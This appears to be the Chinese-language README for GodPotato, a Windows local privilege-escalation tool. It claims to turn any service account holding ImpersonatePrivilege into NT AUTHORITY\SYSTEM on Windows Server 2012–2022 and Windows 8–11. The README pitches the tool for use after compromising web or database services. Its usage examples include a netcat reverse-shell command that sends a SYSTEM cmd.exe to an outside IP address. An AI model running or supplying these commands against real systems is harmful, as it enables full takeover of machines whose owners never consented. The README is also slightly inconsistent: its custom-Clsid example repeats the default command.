基于6年来土豆提权的发展历史，从最初的RottenPotato到最后的JuicyPotatoNG，我通过研究DCOM发现了一项新技术，能够在Windows Server 2012至Windows 2022系统上实现提权。现在，只要你拥有"ImpersonatePrivilege"权限，你就是"NT AUTHORITY\SYSTEM"。通常情况下，WEB服务和数据库服务拥有"ImpersonatePrivilege"权限。
土豆提权通常在我们获取WEB/数据库权限时使用。我们可以将低权限的服务用户提升为"NT AUTHORITY\SYSTEM"权限。 然而，历史上的土豆系列无法在最新的Windows系统上运行。在研究DCOM时，我找到了一种新的提权方法。rpcss在处理oxid时存在缺陷，而rpcss是系统必须开启的服务，因此该方法几乎可以在所有Windows操作系统上运行。我将其命名为GodPotato。
Windows Server 2012 - Windows Server 2022
Windows 8 - Windows 11
FFFFF FFF FFFFFFF
FFFFFFF FFF FFFFFFFF
FFF FFFF FFF FFF FFF FFF FFF
FFF FFF FFF FFF FFF FFF FFF
FFF FFF FFF FFF FFF FFF FFF
FFFF FFFFFFF FFFFFFFF FFF FFF FFFFFFF FFFFFFFFF FFFFFF FFFFFFFFF FFFFFF
FFFF FFFF FFFF FFF FFFF FFF FFFF FFFF FFFF FFF FFF FFF FFF FFF FFFF
FFFF FFFFF FFF FFF FFF FFF FFFFFFFF FFF FFF FFF F FFF FFF FFF FFF
FFFF FFF FFF FFFFFFF FFF FFF FFFF FFF FFF FFFFF FFF FFF FFFF
FFFF FFF FFF FFFFFFF FFF FFF FFFF FFF FFF FFFFFFFF FFF FFF FFFF
FFF FFF FFF FFF FFF FFF FFF FFF FFF FFF FFFF FFF FFF FFF FFFF
FFFF FFFF FFFF FFF FFFF FFF FFF FFF FFFF FFF FFFF FFF FFF FFFF FFF
FFFFFFFF FFFFFFF FFFFFFFF FFF FFFFFFF FFFFFF FFFFFFFF FFFFFFF FFFFFFF
FFFFFFF FFFFF FFFFFFF FFF FFFFF FFFFF FFFFFFFF FFFF FFFF
参数：
-cmd 必需:True 命令行 (默认 cmd /c whoami)
示例：
GodPotato -cmd "cmd /c whoami"
使用程序内置的Clsid进行提权，并执行一个简单命令
GodPotato -cmd "cmd /c whoami"
自定义Clsid并执行命令
GodPotato -cmd "cmd /c whoami"
执行反向shell命令
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
zcgonvh
skay